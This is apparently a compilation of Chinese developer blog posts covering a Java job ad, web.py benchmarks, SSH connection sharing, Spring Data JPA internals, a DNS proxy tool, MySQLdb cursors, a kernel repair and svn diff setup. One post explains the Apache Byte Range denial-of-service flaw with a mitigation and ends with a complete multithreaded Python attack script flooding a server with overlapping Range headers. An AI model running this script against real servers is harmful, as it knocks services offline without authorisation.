#
我不想列“精通xxx...熟悉xxx”,只要求,如果您:
有2年或以上java實際開發經驗 或
1年以上java實際開發經驗但技術能力較強
就能直接聯系我:
1. 直接在此帖留言
2. Email:stone2083@yahoo.cn
3. MSN:stone2083@yahoo.cn
im溝通我們可以談簡歷的事情,走內部推薦,1.電面2.來杭面試,流程簡單,全程報銷路費;
P.S. 年初,各大公司招聘旺季,阿里巴巴這里呢,我不想說有多好,但也絕對不算差,最實際的,薪酬待遇,各大公司基本保密,但其實業內人士大多心里也有數,秘而不
宣;所以,待遇方面不用過多擔心,請諸君仔細斟酌,歡迎聯系!
P.S.II 為什么我這招聘帖這么簡單呢?其實你懂的,“精通xxx熟悉xxx”那只是嚇唬小菜的,對“高級java開發工程師”而言沒有意義,我們需要的只是充分溝通、im溝通+當面溝通。在這個有點糟糕的時代,我們人人都不僅需要money,也需要平臺與機遇,更需要個人修為與成長!請給阿里和您自己一個機會,謝謝!
請管理員手下留情,如果非要刪除,請先聯系我下。讓我能拷貝下這些文字先!謝謝
一直在網上聽說web.py性能比較差,TPS才幾十個。這個道聽途說讓我一度放棄了web.py。
對比了一圈python web framework后,還是讓我對web.py的simple和它的設計理念念念不忘。
機器介紹
機型:ThinkPad R400 筆記本
CPU:Intel(R) Core(TM)2 Duo CPU P8700 @ 2.53GHz
Mem: 2G
系統:Ubuntu11.04 32位操作系統
備注:服務器上沒有python環境,所以只拿個人電腦做測試。
測試內容
輸出當前時間信息
1. <%= new Date() %>
2. time.ctime()
對比測試數據
服務器 |
并發數量 |
TPS |
平均響應時間 |
Tomcat6 + JDK6 |
50 |
6519.29 |
7.67MS |
CherryPy + Webpy |
25 |
1328.56 |
18.82MS |
CherryPy + Webpy |
30 |
Fail |
Fail |
Lighttpd + Flup(FCGI) + Webpy |
25 |
1535.98 |
16.28MS |
Lighttpd + Flup(FCGI) + Webpy |
50 |
1546.11 |
32.339MS |
測試感受
1. webpy自帶的CherryPy服務器性能也比傳說的強多了,只是難以支撐高并發的請求。也難怪,本來就是一個用于開發的服務器,也不能要求太多;
2. Flup(FCGI)下,TPS達到1500左右,完全能夠支撐一般應用的運營要求了;
3. 在專業服務器下,webpy fcgi tps自信能達到4-5k左右。足夠了;
4. 和Java相比,確實存在一定差距,但是在開發效率上,遠遠快于Java;
5. web.py成為我日后web開發首選;
6. 凡事不要道聽途說,需要眼見為實。
附上測試報告圖片:




背景
http://lwn.net/Articles/456268/
Http協議之Byte Rangehttp://www.ietf.org/rfc/rfc2616.txt (14.35章節)
14.35 Range ....................................................138
14.35.1 Byte Ranges ...........................................138
14.35.2 Range Retrieval Requests ..............................139
Apache演示
1. 新建內容為abcdefghijk的txt頁面
2. 不帶Byte Range Header的請求,請看:

3.帶Byte Range Header的請求,請看:

理論上,一旦帶上N個Range分片,Apache單次請求壓力就是之前的N倍(實際少于N),需要做大量的運算和字符串處理。故構建無窮的分片,單機DOS攻擊,就能搞垮Apache Server。
解決方案
1. 等待Apache修復,不過Byte Range是規范要求的,不能算是真正意義上的BUG,不知道會如何修復這個問題
2. 對于不是下載站點來說,建議禁用Byte Range,具體做法:
2.1 安裝mod_headers模塊
2.2 配置文件加上: RequestHeader unset Range
最后附上一個攻擊腳本,做演示
1 # encoding:utf8
2 #!/usr/bin/env python
3 import socket
4 import threading
5 import sys
6
7 headers = '''
8 HEAD / HTTP/1.1
9 Host: %s
10 Range: bytes=%s
11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
12
13 '''
14
15 #fragment count and loop count
16 COUNT = 1500
17 #concurrent count
18 PARALLEL = 50
19 PORT = 80
20
21 def req(server):
22 try:
23 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
24 s.connect((server, PORT))
25 s.send(headers % (server, fragment(COUNT)))
26 s.close()
27 except:
28 print 'Server Seems Weak. Please Stop.'
29
30 def fragment(n):
31 ret = ''
32 for i in xrange(n):
33 if i == 0:
34 ret = ret + '0-' + str(i + 1)
35 else:
36 ret = ret + ',0-' + str(i + 1)
37 return ret
38
39 def run(server):
40 for _ in xrange(COUNT):
41 req(server)
42
43 if len(sys.argv) != 2:
44 print 'killer.py $server'
45 sys.exit(0)
46
47 #run
48 srv = sys.argv[1]
49 for _ in xrange(PARALLEL):
50 threading.Thread(target=run, args=(srv,)).start()
51
羨慕Windows下secureCRT的Session Copy功能,一直在尋找Linux下類似的軟件,殊不知SSH本身就支持此功能。
特別感謝
阿干同學的郵件分享。
詳細方法Linux/mac下,在$HOME/.ssh/config中加入
Host *
ControlMaster auto
ControlPath /tmp/ssh-%r@%h
至此只要第一次SSH登錄輸入密碼,之后同個Hosts則免登。
配置文件分析man ssh_config 5
ControlPath
Specify the path to the control socket used for connection sharing as described in the ControlMaster section
above or the string “none” to disable connection sharing. In the path, ‘%l’ will be substituted by the
local host name, ‘%h’ will be substituted by the target host name, ‘%p’ the port, and ‘%r’ by the remote
login username. It is recommended that any ControlPath used for opportunistic connection sharing include at
least %h, %p, and %r. This ensures that shared connections are uniquely identified.
%r 為遠程機器的登錄名
%h 為遠程機器名
原理分析嚴格地講,它并不是真正意義上的Session Copy,而只能說是共享Socket。
第一次登錄的時候,將Socket以文件的形式保存到:/tmp/ssh-%r@%h這個路徑
之后登錄的時候,一旦發現是同個主機,則復用這個Socket
故,一旦主進程強制退出(Ctrl+C),則其他SSH則被迫退出。
可以通過ssh -v參數,看debug信息驗證以上過程
備注
有同學說在linux上通過證書的形式,可以實現免登錄,沒錯。
對于靜態密碼,完全可以這么干;對于動態密碼(口令的方式),則上述手段可以方便很多。
背景
接上文:
Spring Data JPA 簡單介紹
本文將從配置解析,Bean的創建,Repository執行三個方面來簡單介紹下Spring Data JPA的代碼實現
友情提醒:
圖片均可放大
配置解析
1. parser類
|
Spring通過Schema的方式進行配置,通過AbstractRepositoryConfigDefinitionParser進行解析。其中包含對NamedQuery的解析。
解析的主要目的,是將配置文件中的repositories和repository元素信息分別解析成GlobalRepositoryConfigInformation和SingleRepositoryConfigInformation。
詳見下圖 |
2. Information

|
CommonRepositoryConfigInformation:
xml中repositories的通用配置,一般對應其中的attributes
SingleRepositoryConfigInformation:
xml中repository的配置信息,對應其中的attributes
GlobalRepositoryCOnfigInformation:
一組SingleRepositoryConfigInfomation信息,包含所有的Single信息
在JPA實現中,針對Single,有兩份實現,一份是自動配置信息,一份是手動配置信息,分別對應圖中的Automatic和Manual。
SimpleJpaRepositoryConfiguration是JPA中的所有配置信息,包含所有的Jpa中的SingleRepositoryConfigInformation。 |
3. Query Lookup Strategy
| CreateQueryLookupStrategy:對應repositories元素query-lookup-strategy的create值,主要針對method query方式 DeclaredQueryLookupStrategy:對應use-declared-query值,主要針對帶有@Query注解的查詢方式 CreateIfNotFoundQueryLookupStrategy:對應create-if-not-found值(default值),結合了上述兩種方式 |
Bean的創建

|
主要包含兩個類
RepositoryFactoryBeanSupport, Spring Factory Bean,用于創建Reposiory代理類。其本身并不真正做代理的事情,只是接受Spring的配置,具體交由RepositoryFactorySupport進行代理工作
RepositoryFactorySupport, 真正做Repository代理工作,根據JpaRepositoryFactoryBean的定義找到TargetClass:SimpleJpaRepository實現類,中間加入3個攔截器,一個是異常翻譯,一個是事務管理,最后一個是QueryExecutorMethodInterceptor。
QueryExecutorMethodInterceptor是個重點,主要做特定的Query(查詢語句)的操作。 |
Repository執行
1. 主要執行類
|
在看上面Bean定義的時候,其實已經明白了執行過程: 1. 將JPA CRUD規范相關的方法交給SimpleJpaRepository這個類執行 2. 將特殊查詢相關的交給QueryExecutorMethodInterceptor執行。主要做自定義實現的部分,method query部分和named query部分。 具體查詢類詳見下圖。 |
2. 查詢相關
 | 主要支持NamedQuery和JPA Query。 |
主要執行代碼
QueryExecutorMethodInterceptor#invoke(MethodInvocation invocation)
1 public Object invoke(MethodInvocation invocation) throws Throwable {
2
3 Method method = invocation.getMethod();
4
5 if (isCustomMethodInvocation(invocation)) {
6 Method actualMethod = repositoryInformation.getTargetClassMethod(method);
7 makeAccessible(actualMethod);
8 return executeMethodOn(customImplementation, actualMethod,
9 invocation.getArguments());
10 }
11
12 if (hasQueryFor(method)) {
13 return queries.get(method).execute(invocation.getArguments());
14 }
15
16 // Lookup actual method as it might be redeclared in the interface
17 // and we have to use the repository instance nevertheless
18 Method actualMethod = repositoryInformation.getTargetClassMethod(method);
19 return executeMethodOn(target, actualMethod,
20 invocation.getArguments());
21 }
主要分3個步驟:
1. 如果配置文件中執行了接口類的實現類,則直接交給實現類處理
2. 判斷是查詢方法的,交給RepositoryQuery實現,具體又分:NamedQuery,SimpleJpaQuery,PartTreeJpaQuery
3. 不屬于上述兩個,則直接將其交給真正的targetClass執行,在JPA中,就交給SimpleJpaRepository執行。
本文并沒有做詳細的分析,只是將核心的組件類一一點到,方便大家自行深入了解代碼。
背景考慮到公司應用中數據庫訪問的多樣性和復雜性,目前正在開發UDSL(統一數據訪問層),開發到一半的時候,偶遇
SpringData工程。發現兩者的思路驚人的一致。
于是就花了點時間了解SpringData,可能UDSL II期會基于SpringData做擴展
SpringData相關資料介紹:針對關系型數據庫,KV數據庫,Document數據庫,Graph數據庫,Map-Reduce等一些主流數據庫,采用統一技術進行訪問,并且盡可能簡化訪問手段。
目前已支持的數據庫有(主要):
MongoDB,Neo4j,Redis,Hadoop,JPA等
SpringData官方資料(強烈推薦,文檔非常詳細)
SpringData主頁:
http://www.springsource.org/spring-dataSpringDataJPA 指南文檔:
http://static.springsource.org/spring-data/data-jpa/docs/current/reference/html/ (非常詳細)
SpringDataJPA Examples: https://github.com/SpringSource/spring-data-jpa-examples (非常詳細的例子)
Spring-Data-Jpa簡介Spring Data Jpa 極大簡化了數據庫訪問層代碼,只要3步,就能搞定一切
1. 編寫Entity類,依照JPA規范,定義實體
2. 編寫Repository接口,依靠SpringData規范,定義數據訪問接口(注意,只要接口,不需要任何實現)
3. 寫一小陀配置文件 (Spring Scheme配置方式極大地簡化了配置方式)
下面,我依賴Example中的例子,簡單地介紹下以上幾個步驟
User.java

User.java
1 /**
2 * User Entity Sample
3 *
4 * @author <a href="mailto:li.jinl@alibaba-inc.com">Stone.J</a> Aug 25, 2011
5 */
6 @Entity
7 public class User extends AbstractPersistable<Long> {
8
9 private static final long serialVersionUID = -2952735933715107252L;
10
11 @Column(unique = true)
12 private String username;
13 private String firstname;
14 private String lastname;
15
16 public String getUsername() {
17 return username;
18 }
19
20 public void setUsername(String username) {
21 this.username = username;
22 }
23
24 public String getFirstname() {
25 return firstname;
26 }
27
28 public void setFirstname(String firstname) {
29 this.firstname = firstname;
30 }
31
32 public String getLastname() {
33 return lastname;
34 }
35
36 public void setLastname(String lastname) {
37 this.lastname = lastname;
38 }
39 沒什么技術,JPA規范要求怎么寫,它就怎么寫
Repository.java

SimpleUserRepository.java
1 /**
2 * User Repository Interface.
3 *
4 * @author <a href="mailto:li.jinl@alibaba-inc.com">Stone.J</a> Aug 25, 2011
5 */
6 public interface SimpleUserRepository extends CrudRepository<User, Long>, JpaSpecificationExecutor<User> {
7
8 public User findByTheUsersName(String username);
9
10 public List<User> findByLastname(String lastname);
11
12 @Query("select u from User u where u.firstname = ?")
13 public List<User> findByFirstname(String firstname);
14
15 @Query("select u from User u where u.firstname = :name or u.lastname = :name")
16 public List<User> findByFirstnameOrLastname(@Param("name") String name);
17
18 需要關注它繼承的接口,我簡單介紹幾個核心接口
Repository: 僅僅是一個標識,表明任何繼承它的均為倉庫接口類,方便Spring自動掃描識別
CrudRepository: 繼承Repository,實現了一組CRUD相關的方法
PagingAndSortingRepository: 繼承CrudRepository,實現了一組分頁排序相關的方法
JpaRepository: 繼承PagingAndSortingRepository,實現一組JPA規范相關的方法
JpaSpecificationExecutor: 比較特殊,不屬于Repository體系,實現一組JPA Criteria查詢相關的方法
不需要寫任何實現類,Spring Data Jpa框架幫你搞定這一切。
Spring Configuration

Configuration.xml
1 <beans>
2 <bean id="entityManagerFactory" class="org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean">
3 <property name="dataSource" ref="dataSource" />
4 <property name="jpaVendorAdapter">
5 <bean class="org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter">
6 <property name="generateDdl" value="true" />
7 <property name="database" value="HSQL" />
8 </bean>
9 </property>
10 <property name="persistenceUnitName" value="jpa.sample" />
11 </bean>
12
13 <bean id="transactionManager" class="org.springframework.orm.jpa.JpaTransactionManager">
14 <property name="entityManagerFactory" ref="entityManagerFactory" />
15 </bean>
16
17 <jdbc:embedded-database id="dataSource" type="HSQL" />
18
19
20 <jpa:repositories base-package="org.springframework.data.jpa.example.repository.simple" />
21 </beans>核心代碼只要配置一行:<jpa:repositories base-package="org.springframework.data.jpa.example.repository.simple" />即可。上面的僅僅是數據源,事務的配置而已。
至此,大功告成,即可運行

Sample.java
1 /**
2 * Intergration test showing the basic usage of {@link SimpleUserRepository}.
3 *
4 * @author <a href="mailto:li.jinl@alibaba-inc.com">Stone.J</a> Aug 25, 2011
5 */
6 @RunWith(SpringJUnit4ClassRunner.class)
7 @ContextConfiguration(locations = "classpath:simple-repository-context.xml")
8 @Transactional
9 public class SimpleUserRepositorySample {
10
11 @Autowired
12 SimpleUserRepository repository;
13 User user;
14
15 @Before
16 public void setUp() {
17 user = new User();
18 user.setUsername("foobar");
19 user.setFirstname("firstname");
20 user.setLastname("lastname");
21 }
22
23 // crud方法測試
24 @Test
25 public void testCrud() {
26 user = repository.save(user);
27 assertEquals(user, repository.findOne(user.getId()));
28 }
29
30 // method query測試
31 @Test
32 public void testMethodQuery() throws Exception {
33 user = repository.save(user);
34 List<User> users = repository.findByLastname("lastname");
35 assertNotNull(users);
36 assertTrue(users.contains(user));
37 }
38
39 // named query測試
40 @Test
41 public void testNamedQuery() throws Exception {
42 user = repository.save(user);
43 List<User> users = repository.findByFirstnameOrLastname("lastname");
44 assertTrue(users.contains(user));
45 }
46
47 // criteria query測試
48 @Test
49 public void testCriteriaQuery() throws Exception {
50 user = repository.save(user);
51 List<User> users = repository.findAll(new Specification<User>() {
52
53 @Override
54 public Predicate toPredicate(Root<User> root, CriteriaQuery<?> query, CriteriaBuilder cb) {
55 return cb.equal(root.get("lastname"), "lastname");
56 }
57 });
58 assertTrue(users.contains(user));
59 }
60 其中,寫操作相對比較簡單,我不做詳細介紹,針對讀操作,我稍微描述下:
Method Query: 方法級別的查詢,針對
findBy
, find
, readBy
, read
, getBy等前綴的方法,解析方法字符串,生成查詢語句,其中支持的關鍵詞有:

Named Query: 針對一些復雜的SQL,支持原生SQL方式,進行查詢,保證性能
Criteria Query: 支持JPA標準中的Criteria Query
備注:
本文只是簡單介紹SpringDataJpa功能,要深入了解的同學,建議直接傳送到
官方網站
背景接上文:
http://www.tkk7.com/stone2083/archive/2011/05/23/350875.html
隨筆摘自6月13日郵件分享
目前此軟件在公司測試環境上運行良好,故分享給大家。
以下為分享內容:
好處:
1. 一個項目、小需求,需要綁定的Hosts,只需要一份Hosts信息即可。不必每個用戶自行管理各自電腦的Hosts。達到一人配置,多人使用的目的
2. 綁定的Hosts,支持通配符。方便類似旺鋪域名的需求,只需要配置一個帶通配符的域名即可
3. 要在不同項目,小需求切換不同的Hosts時,只需要輕輕一點,方便
4. 要想使用代理服務器,只需要本地DNS設置一下即可,方便
5. 本機Hosts配置優先
如何使用:(以10.20.131.207環境介紹)備注:公司內部環境,外部無法訪問,如果需要,請自行搭建
1. 登陸DNS后臺管理頁面URL:http://10.20.131.207:8000/,點擊Add

2. 添加一個項目的Hosts信息,點擊添加

3. 在Hosts信息頁面,點擊assign,綁定自己電腦IP和某個Hosts的關聯

4. IP List頁面上,顯示了不同IP和Hosts關聯的信息

5. 將本機電腦的DNS服務器設置成DNS代理服務器即可(10.20.131.207)-- 只需要一次操作即可,以后一直能用


左圖為windows配置,右圖為linux配置
此時,你訪問域名,如果在2011tp hosts中,則直接返回Hosts中的IP;反之,則返回真實IP。
如何啟動服務
1. 啟動DNS代理服務器服務
1.1 cd dns/dns
1.2 vi settings.py 修改配置信息
1.3 python -u main.py
2. 啟動DNS BackOffice服務
2.1 cd dns/config
2.2 vi settings.py 修改配置信息
2.3 python -u manage.py runserver
軟件下載:DNS Proxy Server
============================================================================================
為了滿足“邪惡”的人們能更方便的使用這個軟件(貌似邪惡的人特別看重這個軟件通配符的功能,具體邪惡在哪里,我不具體描述了,給個鏈接),我特意寫了一個standalone的版本:
1. 去除無用的backoffice功能
2. 去除通過事件機制reload hosts文件的功能
3. 去除復雜的settings配置文件,改用簡單的命令行方式
4. 特意為windows用戶制作了一個exe文件,可以直接使用
linux用戶使用方案:
python standalone.py -s xxx.xxx.xxx.xxx (上級dns地址)
python standalone.py -s xxx.xxx.xxx.xxx -f /etc/hosts2 (指定hosts文件,默認是/etc/hosts)
windows用戶使用方案,進入dist(exe發布目錄)
dns.exe -s xxx.xxx.xxx.xxx (上級dns地址)
dns.exe -s xxx.xxx.xxx.xxx -f d:/hosts (指定hosts文件,默認是c:/windows/system32/drivers/etc/hosts)
對于不放心使用exe的客戶來說,可以進入dns目錄,通過py2exe工具自行發布成exe軟件,方法如下
python setup.py py2exe
standalone版本下載
Python shell下操作mysql一直使用MySqldb。
其默認的Cursor Class是使用tuple(元組)作為數據存儲對象的,操作非常不便
1 p = cursor.fetchone()
2 print(p[0], p[1])
如果有十幾個字段,光是數數位數,就把我數暈了。
當然,MySqldb Cursor Class本身就提供了擴展,我們可以切換成DictCurosor作為默認數據存儲對象,如
MySQLdb.connect(host='127.0.0.1', user='sample', passwd='123456', db='sample', cursorclass=DictCursor, charset='utf8')
#
p = cursor.fetchone()
print(p['id'], p['name'])
字典的方式優于元祖。
但是,"[]"這個符號寫寫比較麻煩,并且我編碼風格帶有強烈的Java習慣,一直喜歡類似"p.id","p.name"的寫法。
于是,擴展之
1. 擴展Dict類,使其支持"."方式:
1 class Dict(dict):
2
3 def __getattr__(self, key):
4 return self[key]
5
6 def __setattr__(self, key, value):
7 self[key] = value
8
9 def __delattr__(self, key):
10 del self[key]
2. 擴展Curosor,使其取得的數據使用Dict類:
1 class Cursor(CursorStoreResultMixIn, BaseCursor):
2
3 _fetch_type = 1
4
5 def fetchone(self):
6 return Dict(CursorStoreResultMixIn.fetchone(self))
7
8 def fetchmany(self, size=None):
9 return (Dict(r) for r in CursorStoreResultMixIn.fetchmany(self, size))
10
11 def fetchall(self):
12 return (Dict(r) for r in CursorStoreResultMixIn.fetchall(self))
這下,就符合我的習慣了:
1 MySQLdb.connect(host='127.0.0.1', user='sample', passwd='123456', db='sample', cursorclass=Cursor, charset='utf8')
2 #
3 p = cursor.fetchone()
4 print(p.id, p.name)
悲哀,今天下午不知道執行了什么命令,居然刪除了linux kernel。
晚上重啟機子后,無法進入系統,一直停留在
memtest界面。
一開始,以為grub損壞,只好通過Live CD/
USB Stick 的方式,進入系統。
1. 進入
Ubuntu Download頁面,下載ISO文件
2. 通過
Universal USB Installer,創建USB啟動文件
詳細說明請點擊Ubuntu Download頁面中“
Burn your CD or create a USB drive”
進入Live CD后,發現grub完好,但是查看/boot/下,發現linux kernel文件不見了,估計下午執行什么命令,給不小心刪除了。
只能通過chroot方式,重裝linux kernel
1.chroot -- 利用root帳號操作
#mkdir /uroot #創建臨時文件,作為新的root文件
#mount /dev/sda1 /uroot #將硬盤掛載到新的root文件上,sda是之前裝有ubuntu的硬盤
#mount --bind /proc /uroot/proc #將當前進程文件綁定到uroot下的proc
#mount --bind /dev /uroot/dev #將設備文件綁定到uroot下的dev
#chroot
2.配置uroot下的網絡 -- 家中是利用ADSL上網
# pppoeconf #配置ADSL帳號和密碼
# pon dsl-provider #啟動帳號,上網
3.安轉linux kernel
# apt-get install
linux-image-2.6.32-32-generic
重啟系統,恢復正常。
一直習慣于Linux命令,唯獨對svn diff耿耿于懷,其結果真不是人能看懂的 :)
感謝
khotyn的分享文檔,提醒我可以使用vimdiff作為svn diff的默認工具,步驟如下:
1.編寫svndiff腳本
1 #!/bin/sh
2 #去掉前5個參數
3 shift 5
4 #使用vimdiff比較
5 vimdiff -f "$@"
2.修改svn默認配置,vi ~/.subversion/config
1 #設置diff-cmd為svndiff腳本地址
2 diff-cmd = svndiff
3.使用svn diff命令,效果如下

備注:
1. svn diff --diff-cmd 中的7個回調函數參數分別是:
1 -u
2 -L
3 pom.xml (revision 351676)
4 -L
5 pom.xml (working copy)
6 .svn/tmp/tempfile.tmp
7 pom.xml
2. vimdiff非常強悍的